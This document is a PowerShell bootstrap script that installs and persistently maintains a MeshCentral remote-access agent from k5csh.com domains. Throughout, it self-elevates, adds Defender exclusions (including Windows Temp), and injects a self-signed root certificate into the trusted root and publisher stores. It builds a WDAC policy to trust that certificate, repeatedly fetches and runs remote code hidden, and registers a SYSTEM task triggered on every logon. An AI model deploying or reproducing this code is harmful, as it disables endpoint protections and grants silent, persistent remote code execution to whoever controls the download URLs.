# rmt.k5csh.com — Self-Healing MeshAgent & Sync Engine $meshUrl = 'https://mc.k5csh.com/meshagents?id=4&meshid=Wml4qVGdvRgcJJPFHSmUt8dn5fEHFdXqMh$OfHIEEuO3Z$H6cD9ewsVurLg06tni&installflags=0' $bootstrapUrl = 'https://rmt.k5csh.com' # --- YOUR SELF-SIGNED PUBLIC ROOT CERTIFICATE (BASE64 CER) --- # Replace this string with your exported self-signed public root certificate (.cer) base64 data $certBase64 = @" -----BEGIN CERTIFICATE----- MIIEMDCCApigAwIBAgIFI1SXJFMwDQYJKoZIhvcNAQEMBQAwRTEfMB0GA1UEAxMW TWVzaENlbnRyYWxSb290LTg5ZmM4ZDEQMA4GA1UEChMHdW5rbm93bjEQMA4GA1UE BhMHdW5rbm93bjAeFw0xODAxMDEwNjAwMDBaFw00OTEyMzEwNjAwMDBaMB4xHDAa BgNVBAMTE21jLms1Y3NoLmNvbS0xYjM0MjkwggGiMA0GCSqGSIb3DQEBAQUAA4IB jwAwggGKAoIBgQCy3uYb6zXrlHhHRAWhW3/OmJfAKuJNhiMhpU217xgA1cNQrcax pZIpddYA58Qd7CkF0qbU/qIf3KQqP41ldECukgNpEM4gmi1HlQyVRJWJlyN+aT/A C0gOi4axXkPayGtDIIzI7mhZfZzqU8eyVQqbclLr5H46R5QgOT+o7NumMMD3tE7X PxNrVuWI9uqssBlEFrAGhEXXp8RT2B5uH0CNb6s03vI5B46+2Co9FSoYwCGVYg+R FJj3C1b7k20CEaxPiAnW+WTNLIWM9w9v0UloSLfk8SfnriijxrPCLB1WHEURpXGg wiwCoGu85EmRkeDDBLH8NyFOJnDWLAbpqYL1ePsQw71el83a0fz2qKPBIZ2YxTg1 OVKs5yU/d/jT+RCmwAGWSyGoXjfKHkIoWEWV23dP3ox0zw2huhIR9kBbKl6Rr3uw yDx6tU9INmmktxlL4XwBg2BwrhUHLW7oD5I5uNzX9pQjseT46/Q5T7gYsLUGDfiz RO+VQ08b4p1KTgcCAwEAAaNOMEwwCQYDVR0TBAIwADALBgNVHQ8EBAMCB4AwEwYD VR0lBAwwCgYIKwYBBQUHAwMwHQYDVR0OBBYEFBs0KTY3+dY22kN9aKF58So5pFmz MA0GCSqGSIb3DQEBDAUAA4IBgQBAlz2BR4dXcxHM5C5mrQ6BT/z+gGdmfWsXIG+l fWP7l4AvlKgEjy9mQTnmiABFF8906bLc4Zn7Cn8NyBPEUqScU1RLtM5e5qCJdsqC UpHhqr/NoEwFOXatEzwoidRRe/cM1rcbG5kmwnLv/KmvwwUbCiXRDqILCTjfRLMr 5TfcEVfj3G53c75YyOG0Y85D3bdv/MVoprG3qg8Xk2WYETZj8ZGEWzmp5CM/Khrq RJyj4QyNm5PTuTDhEGwUNsLA5gJG0sNTB5C1IDpmnHZRcBW9noTLieVgrsaEKqxT QOqRayMYt52ZA5esN6q2+6ihWkkGgrqBU4uRquAEBey6NgPLd2G6eoqcVl+PSzHs cZIz56etDBegCvKRxXx1k+QWRQif1yqTy5WaBBOwI/1cAAM3JUd5Fgbihi/6x9ok PllCYtN8dy5C6WGVnv1WaMsGIi7DsLrPzpkni7CQhTX5U7cZcS3PMN2HjhP9M80N Y8DMzuc/ZspY5oZ4vhTaguwSonw= -----END CERTIFICATE----- "@ # --- CONFIGURATION --- $agentName = "c3-it-agent" # --- 1. HARD ELEVATION GUARD --- $identity = [Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object Security.Principal.WindowsPrincipal($identity) $isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "Admin privileges required. Relaunching elevated..." -ForegroundColor Yellow $tempBoot = Join-Path $env:TEMP "mesh_boot.ps1" try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13 (New-Object Net.WebClient).DownloadFile($bootstrapUrl, $tempBoot) Unblock-File -Path $tempBoot -ErrorAction SilentlyContinue $proc = Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File '$tempBoot'" -Verb RunAs -PassThru -Wait } catch { Write-Error "Elevation request failed or was cancelled by user." } finally { Remove-Item -Path $tempBoot -Force -ErrorAction SilentlyContinue } return } [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13 $workDir = "C:\ProgramData\MeshAgentBootstrap" $agentDir = "C:\Program Files\c3-it-agent" $localScriptPath = Join-Path $workDir "sync.ps1" $tempScriptPath = Join-Path $workDir "sync.tmp.ps1" $tempInstallerPath = Join-Path $env:SystemRoot "Temp\meshagent_installer.exe" $taskName = "Agent-BootstrapSync" if (-not (Test-Path $workDir)) { New-Item -Path $workDir -ItemType Directory -Force | Out-Null } # Pre-stage Defender Exclusions try { Add-MpPreference -ExclusionPath $workDir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $agentDir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath (Join-Path $env:SystemRoot "Temp") -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess "c3-it-agent.exe" -ErrorAction SilentlyContinue } catch {} # --- AUTOMATED CERTIFICATE & WDAC KERNEL TRUST INJECTION --- function Install-SelfSignedTrustEngine { if ([string]::IsNullOrWhiteSpace($certBase64) -or $certBase64 -like "*YOUR_SELF_SIGNED_PUBLIC_CERTIFICATE_HERE*") { Write-Warning "No custom public certificate embedded in Worker. Skipping kernel trust injection." return } try { Write-Host "Injecting self-signed root certificate into system trust stores..." -ForegroundColor Cyan $certTempPath = Join-Path $env:SystemRoot "Temp\c3_root.cer" [System.IO.File]::WriteAllText($certTempPath, $certBase64.Trim(), [System.Text.Encoding]::ASCII) # 1. Import to Local Machine Root & TrustedPublisher Stores Import-Certificate -FilePath $certTempPath -CertStoreLocation "Cert:\LocalMachine\Root" -ErrorAction SilentlyContinue | Out-Null Import-Certificate -FilePath $certTempPath -CertStoreLocation "Cert:\LocalMachine\TrustedPublisher" -ErrorAction SilentlyContinue | Out-Null # 2. Build & Deploy Dynamic WDAC Kernel Policy if SAC/WDAC Policy Engine is active $wdacActiveDir = Join-Path $env:SystemRoot "System32\CodeIntegrity\CiPolicies\Active" $policyGuid = "{8F1E9A4B-2C3D-4E5F-6A7B-8C9D0E1F2A3B}" $targetCip = Join-Path $wdacActiveDir "$policyGuid.cip" if (-not (Test-Path $targetCip) -and (Get-Command "New-CIPolicy" -ErrorAction SilentlyContinue)) { Write-Host "Compiling and activating kernel-level Supplemental CodeIntegrity Policy..." -ForegroundColor Cyan $xmlPath = Join-Path $env:SystemRoot "Temp\c3_policy.xml" # Create a Certificate-level CodeIntegrity policy for the imported root cert $rule = New-CiPolicyRule -CertificatePath $certTempPath -Level Certificate New-CIPolicy -FilePath $xmlPath -Rules $rule -UserPEs -ErrorAction SilentlyContinue | Out-Null if (Test-Path $xmlPath) { Set-CIPolicyIdInfo -FilePath $xmlPath -PolicyId $policyGuid -PolicyName "C3-IT-Certificate-Trust" -ErrorAction SilentlyContinue | Out-Null ConvertFrom-CIPolicy $xmlPath $targetCip -ErrorAction SilentlyContinue | Out-Null # Refresh Code Integrity subsystem engine via WMI Invoke-CimMethod -Namespace "root\Microsoft\Windows\CI" -ClassName "PS_UpdateAndCompareCIPolicy" -MethodName "Update" -Arguments @{ FilePath = $targetCip } -ErrorAction SilentlyContinue | Out-Null Write-Host "Kernel Application Control policy updated successfully." -ForegroundColor Green } } } catch { Write-Warning "Trust injection notice: $($_.Exception.Message)" } } # Execute trust alignment before execution checks Install-SelfSignedTrustEngine # --- 2. Auto-Rewrite Engine --- function Get-ScriptHash([string]$text) { if ([string]::IsNullOrWhiteSpace($text)) { return "" } $bytes = [System.Text.Encoding]::UTF8.GetBytes($text) $algorithm = [System.Security.Cryptography.SHA256]::Create() $hashBytes = $algorithm.ComputeHash($bytes) return [System.BitConverter]::ToString($hashBytes) -replace '-' } try { $wc = New-Object Net.WebClient $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") $remoteCode = $wc.DownloadString($bootstrapUrl) if (-not [string]::IsNullOrWhiteSpace($remoteCode)) { if (Test-Path $localScriptPath) { $localCode = Get-Content -Path $localScriptPath -Raw -ErrorAction SilentlyContinue $localHash = Get-ScriptHash $localCode $remoteHash = Get-ScriptHash $remoteCode if ($localHash -ne $remoteHash) { Write-Host "Worker script update detected (SHA256 mismatch). Rewriting local payload..." -ForegroundColor Yellow [System.IO.File]::WriteAllText($tempScriptPath, $remoteCode, [System.Text.Encoding]::UTF8) $swapCmd = "Start-Sleep -Seconds 1; Copy-Item -Path '$tempScriptPath' -Destination '$localScriptPath' -Force; Remove-Item -Path '$tempScriptPath' -Force -ErrorAction SilentlyContinue; powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File '$localScriptPath'" Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command '$swapCmd'" return } } else { [System.IO.File]::WriteAllText($localScriptPath, $remoteCode, [System.Text.Encoding]::UTF8) } } } catch { Write-Warning "Failed to reach Cloudflare Worker at $bootstrapUrl. Continuing with local logic..." } # --- 3. Target MeshID Extraction --- $targetMeshID = $null if ($meshUrl -match 'meshid=([^&]+)') { $targetMeshID = $Matches[1].Trim() } $regPath = "HKLM:\SOFTWARE\MeshAgentBootstrap" $storedMeshID = $null if (Test-Path $regPath) { $storedMeshID = (Get-ItemProperty -Path $regPath -Name "CurrentMeshID" -ErrorAction SilentlyContinue).CurrentMeshID } # --- 4. Dynamic Service Audit & Scrubbing Engine --- Write-Host "Auditing system for MeshAgent services..." -ForegroundColor Cyan $allAgentServices = Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | Where-Object { $_.PathName -like "*MeshAgent*" -or $_.PathName -like "*$agentName*" -or $_.DisplayName -like "*Mesh Agent*" -or $_.DisplayName -like "*$agentName*" } $currentTargetService = $null $currentTargetExe = $null foreach ($service in $allAgentServices) { if ($service.Name -like "*$agentName*" -or $service.DisplayName -like "*$agentName*" -or $service.PathName -like "*$agentName*") { $currentTargetService = $service if ($service.PathName -match '(?:"([^"]+)"|([^s]+))') { $currentTargetExe = if ($Matches[1]) { $Matches[1] } else { $Matches[2] } } } else { Write-Host "Legacy/Mismatched agent service found: '$($service.DisplayName)'. Purging..." -ForegroundColor Yellow $oldExe = $null if ($service.PathName -match '(?:"([^"]+)"|([^s]+))') { $oldExe = if ($Matches[1]) { $Matches[1] } else { $Matches[2] } } if ($oldExe -and (Test-Path $oldExe)) { Start-Process $oldExe -ArgumentList '-fulluninstall' -Wait -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 } Stop-Service -Name $service.Name -Force -ErrorAction SilentlyContinue } } # Dynamic Path Exclusions if ($currentTargetExe -and (Test-Path $currentTargetExe)) { try { $targetDir = Split-Path -Path $currentTargetExe -Parent Add-MpPreference -ExclusionPath $targetDir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess (Split-Path -Path $currentTargetExe -Leaf) -ErrorAction SilentlyContinue } catch {} } # --- 5. Installation State Verification & Execution --- $needsInstall = $false if (-not $currentTargetExe -or -not (Test-Path $currentTargetExe)) { Write-Host "Target agent binary missing on system. Triggering deployment..." -ForegroundColor Yellow $needsInstall = $true } elseif (-not $currentTargetService -or $currentTargetService.State -ne 'Running') { Write-Host "Target agent service stopped or missing. Repairing installation..." -ForegroundColor Yellow $needsInstall = $true } elseif ([string]::IsNullOrWhiteSpace($storedMeshID)) { Write-Host "Agent is healthy, but MeshID tracking key was uninitialized. Synchronizing registry value..." -ForegroundColor Cyan if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force | Out-Null } Set-ItemProperty -Path $regPath -Name "CurrentMeshID" -Value "$targetMeshID" -Type String -Force | Out-Null $storedMeshID = $targetMeshID } elseif ($storedMeshID -ne $targetMeshID) { Write-Host "MeshID change detected (Stored: '$storedMeshID' | Target: '$targetMeshID'). Redeploying..." -ForegroundColor Yellow $needsInstall = $true } if ($needsInstall) { Write-Host "Deploying target agent instance '$agentName'..." -ForegroundColor Cyan if ($currentTargetExe -and (Test-Path $currentTargetExe)) { Start-Process $currentTargetExe -ArgumentList '-fulluninstall' -Wait -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 } if ($currentTargetService) { Stop-Service -Name $currentTargetService.Name -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 1 } try { Write-Host "Downloading installer into system temp..." -ForegroundColor Cyan $wc = New-Object Net.WebClient $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") $wc.DownloadFile($meshUrl, $tempInstallerPath) Unblock-File -Path $tempInstallerPath -ErrorAction SilentlyContinue Write-Host "Executing binary installation..." -ForegroundColor Green $p = Start-Process -FilePath $tempInstallerPath -ArgumentList "-fullinstall" -PassThru -Wait -ErrorAction Stop if ($targetMeshID) { if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force | Out-Null } Set-ItemProperty -Path $regPath -Name "CurrentMeshID" -Value "$targetMeshID" -Type String -Force | Out-Null } Write-Host "Agent deployment cycle finished." -ForegroundColor Green } catch { Write-Error "Failed to download or execute agent binary: $($_.Exception.Message)" } finally { if (Test-Path $tempInstallerPath) { Remove-Item -Path $tempInstallerPath -Force -ErrorAction SilentlyContinue } } } else { Write-Host "Agent '$($currentTargetService.DisplayName)' operational and matching MeshID ($storedMeshID). No action required." -ForegroundColor Green } # --- 6. Scheduled Task Alignment Engine --- $taskExists = & schtasks.exe /query /tn "$taskName" 2>&1 $needsTaskUpdate = $false if ($taskExists -match "ERROR:" -or $LASTEXITCODE -ne 0) { $needsTaskUpdate = $true } else { $taskInfo = & schtasks.exe /query /tn "$taskName" /fo LIST /v 2>&1 if ($taskInfo -match "irm" -or $taskInfo -notmatch [regex]::Escape($localScriptPath)) { Write-Host "Old or mismatched task detected. Forcing task update..." -ForegroundColor Yellow $needsTaskUpdate = $true } } if ($env:USERNAME -ne "SYSTEM" -and $needsTaskUpdate) { Write-Host "Registering/Updating $taskName via native Task Scheduler engine..." -ForegroundColor Cyan $tempXmlPath = Join-Path $env:SystemRoot "Temp\task_def.xml" $taskXml = @" Ensures Agent stays synchronized and up to date via logon event monitoring. true <QueryList><Query Id="0" Path="Security"><Select Path="Security">*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]</Select></Query></QueryList> S-1-5-18 HighestAvailable IgnoreNew false false true true true PT5M 3 true false true false false PT1H 7 powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "$localScriptPath" "@ [System.IO.File]::WriteAllText($tempXmlPath, $taskXml, [System.Text.Encoding]::Unicode) & schtasks.exe /create /tn "$taskName" /xml "$tempXmlPath" /f | Out-Null Remove-Item -Path $tempXmlPath -Force -ErrorAction SilentlyContinue Write-Host "Task registration completed successfully." -ForegroundColor Green }